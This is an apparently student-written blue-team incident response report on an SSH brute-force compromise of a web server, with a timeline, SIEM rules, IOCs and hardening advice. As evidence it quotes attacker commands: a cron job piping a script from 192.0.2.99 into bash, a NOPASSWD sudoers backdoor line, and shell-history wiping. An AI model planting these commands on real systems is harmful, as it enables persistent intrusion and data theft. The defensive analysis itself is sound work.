

Security Monitoring & Incident Response

Somewhere in the noise, an attacker left a trace. This report follows it from start to finish.

Case File:	CA-BT-04
Intern ID:	CA0145
Host under investigation:	webserver01
Log sources:	auth.log (260 lines), syslog.log (111 lines)
Window:	Mar 09 06:10 – Mar 11 04:22
Deliverables:	Incident Response Report Detection Logic Incident Classification Security Recommendations

PREPARED BY: **Nataliah Alcala-Maharaj**

Blue Team - Security Monitoring & Incident Response, Project 04

TABLE OF CONTENTS

01 Executive Summary 3

02 Log Analysis Event Timeline.....4 - 8

03 Detection Logic.....9 - 11

04 Incident Classification & Response.....12 - 14

05 Incident Workflow.....15

06 Indicators of Compromise.....16

07 Forensic Verification Tooling.....17

08 Security Recommendations 18

01 EXECUTIVE SUMMARY

Correlated analysis of **auth.log** and **syslog.log** from **webserver01** identifies a successful SSH brute-force compromise that escalated into full root takeover, backdoor persistence, command-and-control beaconing, and anti-forensic log tampering. The intrusion traces to a single external address, **198.51.100.23**, active from 03:14 to 06:33 on Mar 10, with residual probing as late as 12:40. A total of **46 failed SSH authentication attempts** - 38 during username enumeration and 8 further attempts against the confirmed valid account - preceded the successful compromise.

TIER	COUNT	SEVERITY	EVENT NOS.
Baseline	1	LOW	01
Precursor	1	MEDIUM	02
Confirmed compromise	7	HIGH	03 · 04 · 05 · 06 · 07 · 08 · 09

Bottom line - the attacker guessed a service-account password (Event 03), rode it to root (Event 04), planted an independent backdoor with passwordless sudo (Event 05), installed a C2 downloader (Event 06), staged data for likely exfiltration (Event 08), wiped its tracks (Event 07), and returned to actively use the backdoor ~2.3 hours later (Event 09).

OVERALL SEVERITY: HIGH

02 LOG ANALYSIS - EVENT TIMELINE

Scope & Methodology: manual log correlation across auth.log and syslog.log, cross-referenced by timestamp and source IP, benchmarked against a verified baseline of normal administrative activity (Event 01).

EVENT-01 • LOG SEVERITY: LOW

Baseline Administrative Activity

WINDOW	Mar 09 06:10 - Mar 10 03:13
SSH LOGINS	publickey: aritra, deploy, ubuntu <- 203.0.113.7 / .22 only
ROUTINE SUDO	tail -f access.log df -h systemctl restart nginx apt update
SCHEDULED JOBS	certbot renew logrotate daily apt download
NETWORK	periodic DHCP renewal, eth0; routine nginx reloads

EVENT-01 FINDINGS

All activity here is repetitive and tied to known infrastructure - key-based logins from two recognised management IPs, and sudo usage matching routine ops tooling. No failed logins, no unknown source IPs, no privilege changes.

Function: this window is the control period Events 02-09 are measured against.

EVENT-02 • LOG SEVERITY: MEDIUM

SSH Brute Force / Username Enumeration

SOURCE	198.51.100.23 (absent from baseline)
WINDOW	03:14:02 - 03:43:56 (+ 12:10 / 12:40 probes)
VOLUME	46 failed attempts total - 38 enumeration (incl. one probe of 'backup'), 8 dedicated guesses vs. 'backup'
USERNAMES	database(x4) postgres(x4) www-data(x5) support(x4) admin(x4) test(x3) oracle(x3) user(x2) pi(x2) git(x2) vagrant sysadmin info guest backup
TOOLING	2x 'Too many authentication failures' + immediate reconnect

EVENT-02 FINDINGS

46 failed attempts in under 30 minutes, mostly against usernames that don't exist, is the signature of automated dictionary attack tooling (e.g. Hydra) cycling connections to avoid MaxAuthTries.

Narrowing pattern: after 38 enumeration attempts (one of which briefly probed 'backup' itself), the final 8 attempts stop guessing and repeat solely against that confirmed-valid username - meaning enumeration had already succeeded.

Action: block 198.51.100.23 at the firewall/WAF; deploy fail2ban-class rate limiting. Precursor, not a standalone event.

EVENT-03 • LOG SEVERITY: HIGH

Successful Login to Compromised Account

TIME	03:45:16
ACCOUNT	backup (UID 1001, low-privilege service acct)
SOURCE	198.51.100.23
METHOD	password - succeeded on attempt #47
CONTRAST	only password login from an unrecognised IP in the whole dataset

EVENT-03 FINDINGS

A success immediately after a dense failure cluster from the same IP is the strongest single indicator of credential compromise in this dataset - the pivot from attempted to actual incident.

Root cause: a guessable service-account password, compounded by SSH password auth being enabled at all on an internet-facing host.

Action: lock backup immediately; rotate every local credential; block the source IP; escalate to the security team.

EVENT-04 • LOG SEVERITY: HIGH

Privilege Escalation to Root

WINDOW	03:45:36 - 03:46:21
CMD 1	sudo id
CMD 2	sudo cat /etc/sudoers
CMD 3	sudo /bin/bash <- interactive root shell

EVENT-04 FINDINGS

Reading /etc/sudoers and popping an interactive root shell within a minute of login is scripted post-exploitation, not exploratory behaviour.

Impact: unrestricted root access underlies every action in Events 05-08.

Action: isolate the host; escalate to IR lead; forensic-image before remediating.

EVENT-05 • LOG SEVERITY: HIGH

Backdoor Account + Passwordless Root Sudo

WINDOW	03:47:11 - 03:47:46
CMD 1	useradd sysupdate
CMD 2	passwd sysupdate ; usermod -aG sudo sysupdate
CMD 3	echo 'sysupdate ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
IOC	sysupdate - UID 1002 / GID 1002

EVENT-05 FINDINGS

A new sudo-enabled account is textbook persistence; the appended NOPASSWD:ALL line means that account can become root without ever entering a password, so even if the original backup account gets locked, this new account still works on its own.

Survives remediation: the attacker now has two ways in, not one. Disabling backup only closes the door they originally broke through, it does nothing to sysupdate, which they set up as their own separate way back in.

Action: delete sysupdate; strip the sudoers entry; restore from known-good baseline; check other hosts for the same pattern.

EVENT-06 • LOG SEVERITY: HIGH

Cron-Based C2 Downloader

INSTALLED	03:48:26
CRON ENTRY	*/10 * * * * curl -s http://192.0.2.99/update.sh bash
SYSLOG EXEC	CRON fired 03:20:04, 03:30:06, 03:40:11
NETWORK	outbound SYN 10.0.0.15 -> 192.0.2.99:443 at matching timestamps

EVENT-06 FINDINGS

curl | bash on a fixed interval is a combined persistence + C2 beacon, guaranteeing re-entry even if the current session is killed.

One thing worth flagging: the system log shows the malicious cron job running before the moment the attacker's command to install it shows up in the auth log (03:48:26). That's likely just a small clock mismatch between the two log files, or a sign this same cron job may have been set up earlier than we can see in what we have. Either way, it doesn't change the main conclusion - 192.0.2.99 is still confirmed as the attacker's server. It only means we can't be 100% sure of the exact order those two things happened in.

Action: strip the cron entry from every account; block 192.0.2.99 at DNS/proxy/perimeter; sweep for further payloads.

EVENT-07 • LOG SEVERITY: HIGH

Anti-Forensic Shell History Wipe

TIME	03:48:51 - 03:48:59
CMD 1	echo > .bash_history
CMD 2	history -c
SESSION END	03:49:19

EVENT-07 FINDINGS

No legitimate user erases their own shell history; this is deliberate anti-forensics, and it points to someone skilled and deliberate.

Action: rely on centralized syslog/auditd correlation (as used across this report) instead of local history; forward logs off-host going forward.

EVENT-08 • LOG SEVERITY: HIGH

Data Staging - Likely Exfiltration

TIME	03:23:10 - 03:24:00
CMD	tar czf /tmp/.cache_bkp.tar.gz /var/www/html /etc/nginx
ANOMALY	hidden, non-standard /tmp path - off the certbot/logrotate pattern
NETWORK	1420B ACK PSH x2 -> 192.0.2.99:443, then ACK FIN

EVENT-08 FINDINGS

Someone manually zipped up the entire website folder and hid the file - this doesn't match any of the normal, scheduled backup jobs this server runs. That's a strong sign they were packaging up the data to steal it.

Corroboration: right after that zip file was created, a large chunk of data was sent to the same suspicious server the attacker was already using, and the connection closed cleanly afterward, as if a completed upload. That timing and pattern strongly suggest the zipped data was sent out.

Action: treat as a confirmed breach pending further evidence; Check what was inside that zipped folder for embedded secrets (passwords, API keys, etc); loop in legal/compliance since stolen data may be involved.

Backdoor Re-Used - Active Intrusion

RETURN VISIT	06:03:19 - 06:33:19
ACCOUNT	sysupdate, password auth
SOURCE	198.51.100.23 (same actor)
DELTA	~2.3 hours after creation
FOLLOW-UP	isolated probes vs root/admin at 12:10 and 12:40

EVENT-09 FINDINGS

This proves the backdoor wasn't just sitting there unused - the attacker actually came back and used it. That's an important difference: it's not a leftover risk, it's an active, ongoing intrusion. The fact that they returned also shows they're still interested in this specific server.

Action: isolate immediately; change all credentials host-wide; verify the IP block holds across every control point (firewall, cloud settings etc); rebuild from a known-clean image.

03 DETECTION LOGIC

Correlation rules an analyst could implement in a SIEM against auth.log / syslog.log fields, mapped to the anomalies actually observed in this incident.

RULE-01 Multiple Failed Logins (Brute Force)

MEDIUM

MITRE ATT&CK T1110 / T1110.001 (Brute Force / Password Guessing)

WHEN count(sshd 'Failed password' OR 'Invalid user') BY src_ip >= 5 WITHIN 10 min

THEN ALERT 'Possible SSH brute force from <src_ip>'

A legitimate user makes at most one or two typos. Five or more failures in a short window, especially against usernames that don't exist on the system, is a signature of automated credential guessing, not human error. This rule would have fired within minutes of 03:14:02, well before the account was compromised at 03:45:16.

RULE-02 Login From Unusual Location / Unrecognised Source

HIGH

MITRE ATT&CK T1078 (Valid Accounts)

WHEN sshd 'Accepted password' FOR src_ip NOT IN known_management_ip_allowlist

THEN ALERT 'CRITICAL: Login from unrecognised IP, possible compromised credential'

Every legitimate login in the baseline uses publickey auth from exactly two management IPs (203.0.113.7 / .22). Any password-based login, or any login from an IP outside that allowlist, is itself anomalous. This rule flags the 03:45:16 backup login and the 06:03:19 sysupdate login immediately.

RULE-03 Repeated Access Attempts After a Block / Disconnect

MEDIUM

MITRE ATT&CK T1110.001 (Password Guessing)

WHEN sshd 'Too many authentication failures' FOR src_ip X, THEN new connection FROM src_ip X WITHIN 60s

THEN ALERT 'Automated tooling detected, reconnect after forced disconnect'

Automated brute-force tools (e.g. Hydra) reconnect immediately after being cut off for exceeding MaxAuthTries. A human operator does not retry within seconds. This pattern appeared twice (03:23:26 and 03:32:29) and is a strong tooling fingerprint distinct from manual guessing.

RULE-04 Admin / Root Login or Escalation at Unusual Hours

HIGH

MITRE ATT&CK T1548.003 (Abuse Elevation Control Mechanism: Sudo)

WHEN sudo COMMAND matches '/bin/bash' OR '/bin/sh' OR 'cat /etc/sudoers' FOR a session started outside business hours (e.g. 00:00-06:00) FROM a non-whitelisted IP

THEN ALERT 'Privilege escalation outside business hours, high-confidence compromise'

Reading /etc/sudoers and spawning an interactive root shell are reconnaissance/escalation actions, not routine ops tasks, and here they occurred at 03:45-03:46, deep outside normal admin hours, immediately after a suspicious login. Time-of-day alone would not justify an alert, but combined with the command pattern it is decisive.

RULE-05 New Privileged Account Creation

HIGH

MITRE ATT&CK T1136 / T1136.001 (Create Account: Local Account)

WHEN useradd OR 'usermod -aG sudo|wheel|admin' WITHOUT a matching approved change ticket

THEN ALERT 'Unauthorized privileged account created: <username>'

New accounts, especially ones immediately granted sudo, are a primary persistence technique. This rule fires on the sysupdate creation at 03:47:11 and would catch the same pattern on any other host in the environment.

RULE-06 Sudoers File Modification (Especially NOPASSWD)

HIGH

MITRE ATT&CK T1548.003 (Abuse Elevation Control Mechanism: Sudo)

WHEN write/append TO /etc/sudoers OR /etc/sudoers.d/*

THEN ALERT 'CRITICAL: sudoers modified' (escalate further if 'NOPASSWD' present)

This file controls who can become root and under what conditions. A NOPASSWD:ALL entry removes the last authentication barrier to full system control and should never occur outside a documented, approved change, exactly what happened at 03:47:46.

RULE-07 **Suspicious Outbound Cron / C2 Beaconing**

HIGH

MITRE ATT&CK T1053.003 / T1105 (Cron; Ingress Tool Transfer)

WHEN crontab entry OR CRON execution CONTAINS 'curl|wget ... | bash|sh' TO a destination not on the egress allow-list

THEN **ALERT 'CRITICAL: possible malware downloader / C2 persistence'**

Piping a downloaded script directly into a shell is a well-known malware delivery pattern. A cron job doing this on a fixed interval functions as both a persistence mechanism and a C2 beacon, confirmed here by the matching CRON executions and outbound SYN packets to 192.0.2.99 every ~10 minutes.

RULE-08 **Anti-Forensic Activity (Log / History Clearing)**

HIGH

MITRE ATT&CK T1070.003 (Indicator Removal: Clear Command History)

WHEN command matches 'history -c' OR '> ~/.bash_history' OR 'shred|rm' on log files

THEN **ALERT 'Possible evidence destruction'**

Legitimate users have no operational reason to erase their own shell history. This is a hallmark of an attacker trying to hinder incident response, observed here at 03:48:51-03:48:59, immediately after the backdoor and cron job were planted.

04 INCIDENT CLASSIFICATION & RESPONSE

Every suspicious or confirmed-malicious event, rated on the organisation's Low / Medium / High severity scale, with possible impact and the recommended response action.

Incident Classification Table

EVENT	SEVERITY	POSSIBLE IMPACT	RESPONSE ACTION
02 - Brute force	MEDIUM	Reconnaissance only at this stage; precursor to compromise	Block source IP; enable rate-limiting
03 - backup login	HIGH	Attacker holds valid, active credentials on the host	Reset password; disable account; block IP
04 - Root escalation	HIGH	Full root access obtained; attacker can do anything on the host	Isolate the affected system; escalate to security team
05 - Backdoor account	HIGH	Persistent, independent root access even if backup is disabled	Delete account; remove sudoers entry; isolate system
06 - Cron C2	HIGH	Ongoing malware download/execution and C2 channel	Remove cron entry; block C2 IP; isolate system
07 - History wipe	HIGH	Impairs investigation; confirms deliberate, skilled attacker	Preserve centralized logs; escalate to security team
08 - Data staging	HIGH	Possible theft of source code, config, embedded secrets	Isolate system; treat as a breach; escalate to legal
09 - Backdoor reused	HIGH	Confirms active, ongoing exploitation, not a dormant artifact	Isolate system; reset password host-wide; escalate

Detailed Response Actions

EVT-02 SSH Brute Force MEDIUM

- › Block 198.51.100.23 at the firewall/WAF immediately.
- › Deploy fail2ban (or equivalent) with an aggressive lockout threshold.
- › Report to IT Security with the full auth.log excerpt for correlation.
- › Confirm no other hosts show attempts from the same source.

EVT-03 Compromised backup account HIGH

- › Disable/lock the backup account immediately.
- › Force a credential reset for every local account on the host.
- › Block the source IP at all ingress control points.
- › Escalate to the security team / IR lead without delay.

EVT-04 / 05 Root escalation & backdoor HIGH

- › Isolate webserver01 from the network before further changes.
- › Delete the sysupdate account and its home directory.
- › Strip the NOPASSWD:ALL sudoers entry; restore from known-good baseline.
- › Audit peer hosts sharing credentials for a matching backdoor pattern.
- › Forensic-image the host before remediation or rebuild.

EVT-06 Cron C2 downloader HIGH

- › Remove the malicious crontab entry from every account it touches.
- › Block 192.0.2.99 at perimeter firewall, proxy, and DNS layer.
- › Submit update.sh (if recoverable) to VirusTotal / a sandbox.
- › Treat the host as fully compromised pending a full malware sweep.

EVT-08 Data staging / exfiltration HIGH

- › Treat as a confirmed breach for reporting purposes.
- › Capture full packet or flow data for the transfer window if available.
- › Check archived paths for embedded secrets or API keys.
- › Loop in legal/compliance for breach-notification assessment.

EVT-09 Confirmed active intrusion HIGH

- › Isolate the host from production networks immediately.
- › Rotate all credentials host-wide, including shared service accounts.
- › Verify the IP block holds across every control point.
- › Rebuild from a known-clean image; monitor closely for 30 days post-recovery.

05 INCIDENT WORKFLOW

The incident handling process applied to this case, following the standard Detection -> Alert -> Investigation -> Response -> Recovery -> Closure lifecycle.

1 Detection

RULE-01 and RULE-07 (Section 03) would trigger automated correlation on the initial SSH brute force at 03:14:02 and again, with higher confidence, on the outbound curl | bash cron execution first observed at 03:20:04.

2 Alert

High-severity alerts (Events 03-06, 09) route to the on-call SOC analyst with source IP, affected host, and account context attached, given the presence of successful auth + privilege escalation + persistent C2 in the same short window.

3 Investigation

The analyst correlates auth.log and syslog.log (Section 02) to build the full attack timeline: brute force -> credential compromise -> privilege escalation -> backdoor creation -> persistence -> data staging -> anti-forensics -> backdoor reuse. IOCs (Section 06) are extracted and checked against threat intelligence, and scope is assessed against other hosts sharing credentials with webserver01.

4 Response

Isolate webserver01 to a forensics/management VLAN. Block 198.51.100.23 and 192.0.2.99 at the perimeter firewall/WAF and DNS layer. Disable backup, remove the sysupdate backdoor and its sudoers entry, and remove the malicious crontab entry. Reset credentials host-wide and escalate to legal/compliance given the likely data staging in Event 08.

5 Recovery

Rebuild webserver01 from a known-clean image rather than cleaning a root-compromised host in place. Restore /etc/sudoers and other configuration from verified-good baselines. Re-deploy application code from source control, not the live (potentially tampered) filesystem. Re-enable network connectivity only after confirming no backdoors, cron jobs, or unauthorized accounts remain, and monitor closely for 30 days post-recovery.

6 Closure

Confirm all IOCs are blocked, all rogue accounts/cron jobs/sudoers entries are removed, and credentials are rotated. Document the root cause (weak service-account password, SSH password auth enabled, no brute-force lockout) and the remediation taken. Conduct a post-incident review, update the detection rules in Section 03 based on lessons learned, and close the incident ticket with security-team sign-off.

06 INDICATORS OF COMPROMISE

Network

INDICATOR	SOURCE	NOTE
198.51.100.23	EVT 02-03-09	Brute-force origin; backdoor login; repeat probing
192.0.2.99	EVT 06-08	C2 downloader target; likely exfil destination

Accounts

INDICATOR	SOURCE	NOTE
sysupdate (1002/1002)	EVT 05	Backdoor, passwordless root sudo
backup (1001)	EVT 03	Compromised entry-point account

Persistence

INDICATOR	SOURCE	NOTE
*/10 * * * * curl -s http://192.0.2.99/update.sh bash	EVT 06	Malware downloader
sysupdate ALL=(ALL) NOPASSWD:ALL	EVT 05	Appended sudoers line

Host / File

INDICATOR	SOURCE	NOTE
/tmp/.cache_bkp.tar.gz	EVT 08	Hidden archive of web root + nginx config
.bash_history cleared; history -c	EVT 07	Anti-forensic evidence destruction

07 FORENSIC VERIFICATION TOOLING

Live checks recommended before final disposition of each indicator below.

TOOL	PURPOSE	TARGETS	EXPECTED
AbuseIPDB	IP reputation	198.51.100.23, 192.0.2.99	Abuse reports; brute-force/C2 tag
VirusTotal	File / IP reputation	update.sh, 192.0.2.99	Flagged by multiple AV engines
auditd / ausearch	Root command reconstruction	sudoers, cron, passwd watch keys	Full attacker command timeline
Volatility3	Memory forensics	webserver01.mem	Residual attacker processes
Zeek + RITA	Beacon detection	Captured pcap, 192.0.2.99	Confirms beacon interval / volume

08 SECURITY RECOMMENDATIONS

1. Disable SSH password authentication

Only allow login with a security key, not a password, on any server exposed to the internet. This alone would have stopped the attacker from ever getting in (EVT-03).

2. Deploy fail2ban / rate limiting

Auto-block source IPs past a failure threshold. This would have shut the attacker out before they ever guessed the right password, closing the EVT-02 -> EVT-03 window.

3. Centralize logging off-host

Forward auth.log/syslog to a remote, append-only collector so EVT-07 tampering can't erase evidence.

4. File-integrity monitoring

auditd watches on /etc/sudoers, /etc/passwd, /etc/shadow, cron paths, this would have caught the attacker within seconds of them creating the backdoor (EVT-05/06).

5. Egress filtering / allow-listing

Restrict outbound traffic so a planted cron job (EVT-06) cannot reach an arbitrary C2 host.

6. Enforce MFA for admin access

Even if a password gets guessed or stolen, a second verification step (like a code from a phone) would stop the attacker from getting in.

7. Least-privilege service accounts

Disable interactive shell/sudo on accounts like backup unless required.

8. Formal change control on accounts/sudoers

Flag any useradd, sudo-group change, or sudoers edit lacking an approved ticket - so unapproved changes stand out immediately.

END OF REPORT – CA-BT-04